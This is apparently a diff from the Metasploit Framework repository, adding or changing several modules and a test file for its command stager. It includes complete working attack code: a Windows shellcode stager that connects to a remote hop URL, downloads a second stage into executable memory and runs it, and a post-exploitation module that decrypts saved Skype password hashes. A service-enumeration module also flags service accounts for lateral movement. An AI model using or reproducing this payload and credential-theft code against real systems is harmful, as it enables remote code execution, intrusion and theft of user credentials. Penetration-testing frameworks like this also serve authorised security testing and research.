OptString.new( 'DECODERSTUB', [ true, 'The VBS base64 file decoder stub to use.',
File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_sleep")]),
], self.class)
deregister_options('CMDSTAGER::FLAVOR')
@compat_mode = false
end
@ -78,7 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote
return if path.nil?
exec_script(path)
else
execute_cmdstager
execute_cmdstager({:flavor => :vbs})
end
handler
end

View File

@ -0,0 +1,291 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'uri'
require 'msf/core'
require 'msf/core/handler/reverse_hop_http'
module Metasploit3
include Msf::Payload::Stager
include Msf::Payload::Windows
def initialize(info = {})
super(merge_info(info,
'Name' => 'Reverse Hop HTTP Stager',
'Description' => "Tunnel communication over an HTTP hop point (note you must first upload "+
"the hop.php found at #{File.expand_path("../../../../data/php/hop.php", __FILE__)} "+
"to the HTTP server you wish to use as a hop)",
'Author' =>
[
'scriptjunkie <scriptjunkie[at]scriptjunkie.us>',
'hdm'
],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseHopHttp,
'Convention' => 'sockedi http',
'DefaultOptions' => { 'WfsDelay' => 30 },
'Stager' =>
{
'Offsets' =>
{
# None, they get embedded in the shellcode
}
}
))
deregister_options('LHOST', 'LPORT')
register_options([
OptString.new('HOPURL', [ true, "The full URL of the hop script", "http://example.com/hop.php" ]
)
], self.class)
end
#
# Do not transmit the stage over the connection. We handle this via HTTP
#
def stage_over_connection?
false
end
#
# Generate the first stage
#
def generate
uri = URI(datastore['HOPURL'])
#create actual payload
payload_data = <<EOS
cld ; clear direction flag
call start ; start main routine
; Stephen Fewer's block_api
; block_api code (Stephen Fewer)
api_call:
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
mov ebp, esp ; Create a new stack frame
xor edx, edx ; Zero EDX
mov edx, fs:[edx+48] ; Get a pointer to the PEB
mov edx, [edx+12] ; Get PEB->Ldr
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
next_mod:
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
xor edi, edi ; Clear EDI which will store the hash of the module name
loop_modname: ;
xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
loop loop_modname ; Loop until we have read enough
; We now have the module hash computed
push edx ; Save the current position in the module list for later
push edi ; Save the current module hash for later
; Proceed to iterate the export address table,
mov edx, [edx+16] ; Get this modules base address
mov eax, [edx+60] ; Get PE header
add eax, edx ; Add the modules base address
mov eax, [eax+120] ; Get export tables RVA
test eax, eax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present, process the next module
add eax, edx ; Add the modules base address
push eax ; Save the current modules EAT
mov ecx, [eax+24] ; Get the number of function names
mov ebx, [eax+32] ; Get the rva of the function names
add ebx, edx ; Add the modules base address
; Computing the module hash + function hash
get_next_func: ;
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards) process next mod
dec ecx ; Decrement the function name counter
mov esi, [ebx+ecx*4] ; Get rva of next module name
add esi, edx ; Add the modules base address
xor edi, edi ; Clear EDI which will store the hash of the function name
; And compare it to the one we want
loop_funcname: ;
xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the ASCII function name
ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
add edi, [ebp-8] ; Add the current module hash to the function hash
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
pop eax ; Restore the current modules EAT
mov ebx, [eax+36] ; Get the ordinal table rva
add ebx, edx ; Add the modules base address
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
mov ebx, [eax+28] ; Get the function addresses table rva
add ebx, edx ; Add the modules base address
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
add eax, edx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the desired function...
finish:
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address
pop ebx ; Clear off the current modules hash
pop ebx ; Clear off the current position in the module list
popad ; Restore all of the callers registers, bar EAX, ECX and EDX
pop ecx ; Pop off the origional return address our caller will have pushed
pop edx ; Pop off the hash value our caller will have pushed
push ecx ; Push back the correct return value
jmp eax ; Jump into the required function
; We now automagically return to the correct caller...
get_next_mod: ;
pop eax ; Pop off the current (now the previous) modules EAT
get_next_mod1: ;
pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list
mov edx, [edx] ; Get the next module
jmp.i8 next_mod ; Process this module
; actual routine
start:
pop ebp ; get ptr to block_api routine
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the socket for the connection to the server
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
load_wininet:
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
push 0x696e6977 ; ...
push esp ; Push a pointer to the "wininet" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "wininet" )
internetopen:
xor edi,edi
push edi ; DWORD dwFlags
push edi ; LPCTSTR lpszProxyBypass
push edi ; LPCTSTR lpszProxyName
push edi ; DWORD dwAccessType (PRECONFIG = 0)
push 0 ; NULL pointer
push esp ; LPCTSTR lpszAgent ("\x00")
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp
jmp.i8 dbl_get_server_host
internetconnect:
pop ebx ; Save the hostname pointer
xor ecx, ecx
push ecx ; DWORD_PTR dwContext (NULL)
push ecx ; dwFlags
push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
push ecx ; password
push ecx ; username
push #{uri.port} ; PORT
push ebx ; HOSTNAME
push eax ; HINTERNET hInternet
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
call ebp
jmp get_server_uri
httpopenrequest:
pop ecx
xor edx, edx ; NULL
push edx ; dwContext (NULL)
push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags
;0x80000000 | ; INTERNET_FLAG_RELOAD
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
;0x00000200 | ; INTERNET_FLAG_NO_UI
;0x00400000 ; INTERNET_FLAG_KEEP_CONNECTION
push edx ; accept types
push edx ; referrer
push edx ; version
push ecx ; url
push edx ; method
push eax ; hConnection
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
call ebp
mov esi, eax ; hHttpRequest
set_retry:
push 0x10
pop ebx
httpsendrequest:
xor edi, edi
push edi ; optional length
push edi ; optional
push edi ; dwHeadersLength
push edi ; headers
push esi ; hHttpRequest
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
call ebp
test eax,eax
jnz allocate_memory
try_it_again:
dec ebx
jz failure
jmp.i8 httpsendrequest
dbl_get_server_host:
jmp get_server_host
get_server_uri:
call httpopenrequest
server_uri:
db "#{Rex::Text.hexify(uri.request_uri, 99999).strip}?/12345", 0x00
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
allocate_memory:
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (8Mb ought to do us)
push edi ; NULL as we dont care where the allocation is
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
download_prep:
xchg eax, ebx ; place the allocated base address in ebx
push ebx ; store a copy of the stage base address on the stack
push ebx ; temporary storage for bytes read count
mov edi, esp ; &bytesRead
download_more:
push edi ; &bytesRead
push 8192 ; read length
push ebx ; buffer
push esi ; hRequest
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
call ebp
test eax,eax ; download failed? (optional?)
jz failure
mov eax, [edi]
add ebx, eax ; buffer += bytes_received
test eax,eax ; optional?
jnz download_more ; continue until it returns 0
pop eax ; clear the temporary storage
execute_stage:
ret ; dive into the stored stage address
get_server_host:
call internetconnect
server_host:
db "#{Rex::Text.hexify(uri.host, 99999).strip}", 0x00
EOS
self.module_info['Stager']['Assembly'] = payload_data.to_s
super
end
end

View File

@ -0,0 +1,179 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex'
require 'msf/core'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::Registry
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Skype Saved Password Hash Extraction',
'Description' => %q{ This module finds saved login credentials
for the Windows Skype client. The hash is in MD5 format
that uses the username, a static string "\nskyper\n" and the
password. The resulting MD5 is stored in the Config.xml file
for the user after being XOR'd against a key generated by applying
2 SHA1 hashes of "salt" data which is stored in ProtectedStorage
using the Windows API CryptProtectData against the MD5 },
'License' => MSF_LICENSE,
'Author' => [
'mubix', # module
'hdm' # crypto help
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'References' => [
['URL', 'http://www.recon.cx/en/f/vskype-part2.pdf'],
['URL', 'http://insecurety.net/?p=427'],
['URL', 'https://github.com/skypeopensource/tools']
]
))
end
# To generate test hashes in ruby use:
=begin
require 'openssl'
username = "test"
passsword = "test"
hash = Digest::MD5.new
hash.update username
hash.update "\nskyper\n"
hash.update password
puts hash.hexdigest
=end
def decrypt_reg(data)
rg = session.railgun
pid = session.sys.process.getpid
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
mem = process.memory.allocate(512)
process.memory.write(mem, data)
if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86"
addr = [mem].pack("V")
len = [data.length].pack("V")
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
len, addr = ret["pDataOut"].unpack("V2")
else
# Convert using rex, basically doing: [mem & 0xffffffff, mem >> 32].pack("VV")
addr = Rex::Text.pack_int64le(mem)
len = Rex::Text.pack_int64le(data.length)
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
pData = ret["pDataOut"].unpack("VVVV")
len = pData[0] + (pData[1] << 32)
addr = pData[2] + (pData[3] << 32)
end
return "" if len == 0
return process.memory.read(addr, len)
end
# Get the "Salt" unencrypted from the registry
def get_salt
print_status "Checking for encrypted salt in the registry"
vprint_status "Checking: HKCU\\Software\\Skype\\ProtectedStorage - 0"
rdata = registry_getvaldata('HKCU\\Software\\Skype\\ProtectedStorage', '0')
print_good("Salt found and decrypted")
return decrypt_reg(rdata)
end
# Pull out all the users in the AppData directory that have config files
def get_config_users(appdatapath)
users = []
dirlist = session.fs.dir.entries(appdatapath)
dirlist.shift(2)
dirlist.each do |dir|
if file?(appdatapath + "\\#{dir}" + '\\config.xml') == false
vprint_error "Config.xml not found in #{appdatapath}\\#{dir}\\"
next
end
print_good "Found Config.xml in #{appdatapath}\\#{dir}\\"
users << dir
end
return users
end
def parse_config_file(config_path)
hex = ""
configfile = read_file(config_path)
configfile.each_line do |line|
if line =~ /Credentials/i
hex = line.split('>')[1].split('<')[0]
end
end
return hex
end
def decrypt_blob(credhex, salt)
# Convert Config.xml hex to binary format
blob = [credhex].pack("H*")
# Concatinate SHA digests for AES key
sha = Digest::SHA1.digest("\x00\x00\x00\x00" + salt) + Digest::SHA1.digest("\x00\x00\x00\x01" + salt)
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
aes.encrypt
aes.key = sha[0,32] # Use only 32 bytes of key
final = aes.update([0].pack("N*") * 4) # Encrypt 16 \x00 bytes
final << aes.final
xor_key = final[0,16] # Get only the first 16 bytes of result
vprint_status("XOR Key: #{xor_key.unpack("H*")[0]}")
decrypted = []
# Use AES/SHA crypto for XOR decoding
(0...16).each do |i|
decrypted << (blob[i].unpack("C*")[0] ^ xor_key[i].unpack("C*")[0])
end
return decrypted.pack("C*").unpack("H*")[0]
end
def get_config_creds(salt)
users = []
appdatapath = expand_path("%AppData%") + "\\Skype"
print_status ("Checking for config files in %APPDATA%")
users = get_config_users(appdatapath)
if users.any?
users.each do |user|
print_status("Parsing #{appdatapath}\\#{user}\\Config.xml")
credhex = parse_config_file("#{appdatapath}\\#{user}\\config.xml")
if credhex == ""
print_error("No Credentials3 blob found for #{user} in Config.xml skipping")
next
else
hash = decrypt_blob(credhex, salt)
print_good "Skype MD5 found: #{user}:#{hash}"
end
end
else
print_error "No users with configs found. Exiting"
end
end
def run
salt = get_salt
if salt != nil
creds = get_config_creds(salt)
else
print_error "No salt found. Cannot continue without salt, exiting"
end
end
end

View File

@ -16,8 +16,8 @@ class Metasploit3 < Msf::Post
'Name' => "Windows Gather Service Info Enumeration",
'Description' => %q{
This module will query the system for services and display name and configuration
info for each returned service. It allows you to optionally search the credentials, path, or start
type for a string and only return the results that match. These query operations
info for each returned service. It allows you to optionally search the credentials, path,
or start type for a string and only return the results that match. These query operations
are cumulative and if no query strings are specified, it just returns all services.
NOTE: If the script hangs, windows firewall is most likely on and you did not
migrate to a safe process (explorer.exe for example).
@ -36,9 +36,12 @@ class Metasploit3 < Msf::Post
end
def run
# set vars
lootString = ""
credentialCount = {}
qcred = datastore["CRED"] || nil
qpath = datastore["PATH"] || nil
if datastore["TYPE"] == "All"
@ -47,24 +50,29 @@ class Metasploit3 < Msf::Post
qtype = datastore["TYPE"]
end
if qcred
print_status("Credential Filter: " + qcred)
print_status("Credential Filter: #{qcred}")
end
if qpath
print_status("Executable Path Filter: " + qpath)
print_status("Executable Path Filter: #{qpath}")
end
if qtype
print_status("Start Type Filter: " + qtype)
print_status("Start Type Filter: #{qtype}")
end
if datastore['VERBOSE']
print_status("Listing Service Info for matching services:")
else
print_status("Detailed output is only printed when VERBOSE is set to True. Running this module can take some time.\n")
end
service_list.each do |sname|
srv_conf = {}
isgood = true
#make sure we got a service name
# make sure we got a service name
if sname
begin
srv_conf = service_info(sname)
#filter service based on filters passed, the are cumulative
# filter service based on filters passed, the are cumulative
if qcred and ! srv_conf['Credentials'].downcase.include? qcred.downcase
isgood = false
end
@ -75,22 +83,45 @@ class Metasploit3 < Msf::Post
if qtype and ! (srv_conf['Startup'] || '').downcase.include? qtype.downcase
isgood = false
end
#if we are still good return the info
if isgood
vprint_status("\tName: #{sname}")
vprint_good("\t\tStartup: #{srv_conf['Startup']}")
vprint_good("\t\tCommand: #{srv_conf['Command']}")
vprint_good("\t\tCredentials: #{srv_conf['Credentials']}")
# count the occurance of specific credentials services are running as
serviceCred = srv_conf['Credentials'].upcase
unless serviceCred.empty?
if credentialCount.has_key?(serviceCred)
credentialCount[serviceCred] += 1
else
credentialCount[serviceCred] = 1
# let the user know a new service account has been detected for possible lateral
# movement opportunities
print_good("New service credential detected: #{sname} is running as '#{srv_conf['Credentials']}'")
end
rescue
end
# if we are still good return the info
if isgood
msgString = "\tName: #{sname}"
msgString << "\n\t\tStartup: #{srv_conf['Startup']}"
#remove invalid char at the end
commandString = srv_conf['Command']
commandString.gsub!(/[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]+/n,"")
msgString << "\n\t\t#{commandString}"
msgString << "\n\t\tCredentials: #{srv_conf['Credentials']}\n"
vprint_good(msgString)
lootString << msgString
end
rescue ::Exception => e
# July 3rd 2014 wchen-r7: Not very sure what exceptions this method is trying to rescue,
# probably the typical shut-everything-up coding habit. We'll have to fix this later,
# but for now let's at least print the error for debugging purposes
print_error("An error occured enumerating service: #{sname}")
print_error(e.to_s)
end
else
print_error("Problem enumerating services")
print_error("Problem enumerating services (no service name found)")
end
end
# store loot on completion of collection
p = store_loot("windows.services", "text/plain", session, lootString, "windows_services.txt", "Windows Services")
print_good("Loot file stored in: #{p.to_s}")
end
end

View File

@ -0,0 +1,698 @@
require 'spec_helper'
require 'msf/core'
require 'msf/core/exploit/cmdstager'
describe Msf::Exploit::CmdStager do
def create_exploit(info ={})
mod = Msf::Exploit.allocate
mod.extend described_class
mod.send(:initialize, info)
mod
end
describe "#select_cmdstager" do
subject do
create_exploit
end
context "when no flavor" do
it "raises ArgumentError" do
expect { subject.select_cmdstager }.to raise_error(ArgumentError, /Unable to select CMD Stager/)
end
end
context "when correct flavor" do
context "with default decoder" do
let(:flavor) do
:vbs
end
before do
subject.select_cmdstager(:flavor => flavor)
end
it "selects flavor" do
expect(subject.flavor).to eq(flavor)
end
it "selects default decoder" do
expect(subject.decoder).to eq(subject.default_decoder(flavor))
end
end
context "without default decoder" do
let(:flavor) do
:tftp
end
before do
subject.select_cmdstager(:flavor => flavor)
end
it "selects flavor" do
expect(subject.flavor).to eq(flavor)
end
it "hasn't decoder" do
expect(subject.decoder).to be_nil
end
end
context "with incompatible target" do
subject do
create_exploit({
'DefaultTarget' => 0,
'Targets' =>
[
['Linux',
{
'Platform' => 'linux',
'CmdStagerFlavor' => 'tftp'
}
]
]
})
end
let(:flavor) do
:vbs
end
it "raises ArgumentError" do
expect { subject.select_cmdstager(:flavor => flavor) }.to raise_error(ArgumentError, /The CMD Stager '\w+' isn't compatible with the target/)
end
end
end
end
describe "#default_decoder" do
subject do
create_exploit
end
context "when valid flavor as input" do
context "with default decoder" do
let(:flavor) do
:vbs
end
let(:expected_decoder) do
described_class::DECODERS[:vbs]
end
it "returns the decoder path" do
expect(subject.default_decoder(flavor)).to eq(expected_decoder)
end
end
context "without default decoder" do
let(:flavor) do
:bourne
end
it "returns nil" do
expect(subject.default_decoder(flavor)).to be_nil
end
end
end
context "when invalid flavor as input" do
let(:flavor) do
:invalid_flavor
end
it "returns nil" do
expect(subject.default_decoder(flavor)).to be_nil
end
end
context "when nil flavor as input" do
let(:flavor) do
nil
end
it "should be nil" do
expect(subject.default_decoder(flavor)).to be_nil
end
end
end
describe "#module_flavors" do
context "when the module hasn't CmdStagerFlavor info" do
context "neither the target" do
subject do
create_exploit
end
it "returns empty array" do
expect(subject.module_flavors).to eq([])
end
end
context "the target has CmdStagerFlavor info" do
subject do
create_exploit({
'DefaultTarget' => 0,
'Targets' =>
[
['Windows',
{
'CmdStagerFlavor' => 'vbs'
}
]
]
})
end
let(:expected_flavor) do
['vbs']
end
it "returns an array with the target flavor" do
expect(subject.module_flavors).to eq(expected_flavor)
end
end
end
context "when the module has CmdStagerFlavor info" do
context "but the target hasn't CmdStagerFlavor info" do
subject do
create_exploit('CmdStagerFlavor' => 'vbs')
end
let(:expected_flavor) do
['vbs']
end
it "returns an array with the module flavor" do
expect(subject.module_flavors).to eq(expected_flavor)
end
end
context "and the target has CmdStagerFlavor info" do
subject do
create_exploit({
'CmdStagerFlavor' => 'vbs',
'DefaultTarget' => 0,
'Targets' =>
[
['Windows TFTP',
{
'CmdStagerFlavor' => 'tftp'
}
]
]
})
end
let(:expected_flavor) do
['vbs', 'tftp']
end
it "returns an array with all the flavors available to the module" do
expect(subject.module_flavors).to eq(expected_flavor)
end
end
end
end
describe "#target_flavor" do
context "when the module hasn't CmdStagerFlavor info" do
context "neither the target" do
subject do
create_exploit
end
it "returns nil" do
expect(subject.target_flavor).to be_nil
end
end
context "the target has CmdStagerFlavor info" do
subject do
create_exploit({
'DefaultTarget' => 0,
'Targets' =>
[
['Windows',
{
'CmdStagerFlavor' => 'vbs'
}
]
]
})
end
let(:expected_flavor) do
'vbs'
end
it "returns the target flavor" do
expect(subject.target_flavor).to eq(expected_flavor)
end
end
end
context "when the module has CmdStagerFlavor info" do
context "but the target hasn't CmdStagerFlavor info" do
subject do
create_exploit('CmdStagerFlavor' => 'vbs')
end
let(:expected_flavor) do
'vbs'
end
it "returns the module flavor" do
expect(subject.target_flavor).to eq(expected_flavor)
end
end
context "and the target has CmdStagerFlavor info" do
subject do
create_exploit({
'CmdStagerFlavor' => 'vbs',
'DefaultTarget' => 0,
'Targets' =>
[
['Windows TFTP',
{
'CmdStagerFlavor' => 'tftp'
}
]
]
})
end
let(:expected_flavor) do
'tftp'
end
it "returns the target flavor" do
expect(subject.target_flavor).to eq(expected_flavor)
end
end
end
end
describe "#compatible_flavor?" do
context "when there isn't target flavor" do
subject do
create_exploit
end
let(:flavor) do
:vbs
end
it "is compatible" do
expect(subject.compatible_flavor?(flavor)).to be_true
end
end
context "when the target flavor is a string" do
subject do
create_exploit('CmdStagerFlavor' => 'vbs')
end
context "and good flavor" do
let(:flavor) do
:vbs
end
it "is compatible" do
expect(subject.compatible_flavor?(flavor)).to be_true
end
end
context "and bad flavor" do
let(:flavor) do
:tftp
end
it "isn't compatible" do
expect(subject.compatible_flavor?(flavor)).to be_false
end
end
end
context "when the target flavor is a symbol" do
subject do
create_exploit('CmdStagerFlavor' => :vbs)
end
context "and good flavor" do
let(:flavor) do
:vbs
end
it "is compatible" do
expect(subject.compatible_flavor?(flavor)).to be_true
end
end
context "and bad flavor" do
let(:flavor) do
:tftp
end
it "isn't compatible" do
expect(subject.compatible_flavor?(flavor)).to be_false
end
end
end
context "when the target flavor is an Array" do
subject do
create_exploit('CmdStagerFlavor' => ['vbs', :tftp])
end
context "and good flavor" do
let(:flavor) do
:vbs
end
it "is compatible" do
expect(subject.compatible_flavor?(flavor)).to be_true
end
end
context "and bad flavor" do
let(:flavor) do
:echo
end
it "isn't compatible" do
expect(subject.compatible_flavor?(flavor)).to be_false
end
end
end
end
describe "#guess_flavor" do
context "when the module hasn't targets" do
context "neither platforms" do
subject do
create_exploit
end
it "doesn't guess" do
expect(subject.guess_flavor).to be_nil
end
end
context "but platforms" do
context "one platform with default flavor" do
let(:platform) do
'win'
end
let(:expected_flavor) do
:vbs
end
subject do
create_exploit('Platform' => platform)
end
it "guess the platform defulat flavor" do
expect(subject.guess_flavor).to eq(expected_flavor)
end
end
context "one platform without default flavor" do
let (:platform) do
'java'
end
subject do
create_exploit('Platform' => platform)
end
it "doesn't guess" do
expect(subject.guess_flavor).to be_nil
end
end
context "two platforms" do
let(:platform) do
['unix', 'linux']
end
subject do
create_exploit('Platform' => platform)
end
it "doesn't guess" do
expect(subject.guess_flavor).to be_nil
end
end
end
end
context "when the module has one target" do
context "and the target has one platform" do
context "with default flavor"do
let (:expected_flavor) do
:vbs
end
let (:platform) do
'win'
end
subject do
create_exploit({
'DefaultTarget' => 0,
'Targets' =>
[
['Windows',
{
'Platform' => platform
}
]
]
})
end
it "guess the target flavor" do
expect(subject.guess_flavor).to eq(expected_flavor)
end
end
context "without default flavor" do
let (:platform) do
'java'
end
subject do
create_exploit({
'DefaultTarget' => 0,
'Targets' =>
[
['Java',
{
'Platform' => platform
}
]
]
})
end
it "doesn't guess" do
expect(subject.guess_flavor).to be_nil
end
end
end
context "the target has two platforms" do
subject do
create_exploit({
'DefaultTarget' => 0,
'Targets' =>
[
['MultiPlatform',
{
'Platform' => %w{ linux unix}
}
]
]
})
end
it "doesn't guess" do
expect(subject.guess_flavor).to be_nil
end
end
end
end
describe "#select_flavor" do
context "when flavor set in the datastore" do
subject do
create_exploit({
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => 'vbs'
}
})
end
let(:datastore_flavor) do
:vbs
end
it "returns the datastore flavor" do
expect(subject.select_flavor).to eq(datastore_flavor)
end
context "and flavor set in the opts" do
let(:opts_flavor) do
:bourne
end
it "returns the opts flavor" do
expect(subject.select_flavor(:flavor => :bourne)).to eq(opts_flavor)
end
end
end
end
describe "#select_decoder" do
context "when decoder set in the datastore" do
let(:decoder) do
File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64")
end
subject do
create_exploit({
'DefaultOptions' => {
'CMDSTAGER::DECODER' => decoder
}
})
end
it "returns datastore flavor" do
expect(subject.select_decoder).to eq(decoder)
end
context "and decoder set in the opts" do
let(:decoder_opts) do
File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_adodb")
end
it "returns the decoder_opts" do
expect(subject.select_decoder(:decoder => decoder_opts)).to eq(decoder_opts)
end
end
end
end
describe "#opts_with_decoder" do
subject do
create_exploit
end
context "with :decoder option" do
let(:decoder) do
File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64")
end
it "returns the :decoder option" do
expect(subject.opts_with_decoder(:decoder => decoder)).to include(:decoder)
end
end
context "without decoder option" do
it ":hasn't decoder option" do
expect(subject.opts_with_decoder).not_to include(:decoder)
end
end
end
describe "#create_stager" do
subject do
create_exploit
end
context "with correct flavor" do
let(:flavor) do
:vbs
end
let(:expected_class) do
described_class::STAGERS[flavor]
end
before do
subject.flavor = flavor
end
it "creates the correct instance" do
expect(subject.create_stager.class).to eq(expected_class)
end
end
context "with incorrect flavor" do
let(:flavor) do
:incorrect_flavor
end
let(:expected_class) do
described_class::STAGERS[flavor]
end
before do
subject.flavor = flavor
end
it "raises a NoMethodError" do
expect { subject.create_stager }.to raise_error(NoMethodError)
end
end
end
end